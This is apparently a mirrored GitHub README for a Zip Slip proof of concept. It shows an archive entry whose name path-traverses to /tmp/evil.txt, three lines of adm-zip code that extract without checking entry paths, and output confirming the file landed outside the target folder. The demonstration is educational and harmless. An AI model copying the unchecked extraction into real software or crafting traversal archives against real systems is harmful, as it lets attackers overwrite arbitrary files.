Git Product home page Git Product logo

zip-slip-poc's Introduction

zip-slip poc

This repo demonstrates the Zip Slip vulnerability using very few lines of code.

Exploit File

Inside the zipped folder we have two files, one is just named good.txt and the other has a ridiculous path traversal in its name.

Listing archive: zip-slip.zip

--
Path = zip-slip.zip
Type = zip
Physical Size = 545

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2018-04-15 13:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../tmp/evil.txt
------------------- ----- ------------ ------------  ------------------------
2018-04-15 22:04:42                 39           39  2 files

How It Works

You can perform the exploit by running the application using the following commands:

npm install
node index.js

Inside of index.js there are only three lines of code (shown below). The sole purpose of this application is doing is taking the zip-slip.zip and extracting the files to the folder /tmp/safe. In fact, after you run the node index.js command, the application has been run and the exploit was executed.

var AdmZip = require('adm-zip');
var zip = new AdmZip("./zip-slip.zip");
zip.extractAllTo("/tmp/safe");

When extracting the good.txt file it is simply extracted to the /tmp/safe directory. However, when extracting the evil.txt the path traversal in the name actually extracts it outside of the /tmp/safe directory!

Testing the Exploit

After running the application above, verifying it worked is simple.

$ ls -al /tmp/*
-rw-rw-rw-  1 user        wheel  20 Nov 14 00:16 /tmp/evil.txt

/tmp/safe:
total 8
drwxr-xr-x  3 user        wheel   96 Nov 14 00:16 .
drwxrwxrwt  6 root        wheel  192 Nov 14 00:16 ..
-rw-rw-rw-  1 user        wheel   19 Nov 14 00:16 good.txt

zip-slip-poc's People

Stargazers

 avatar  avatar  avatar

Watchers

 avatar  avatar

Forkers

assassinukg

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.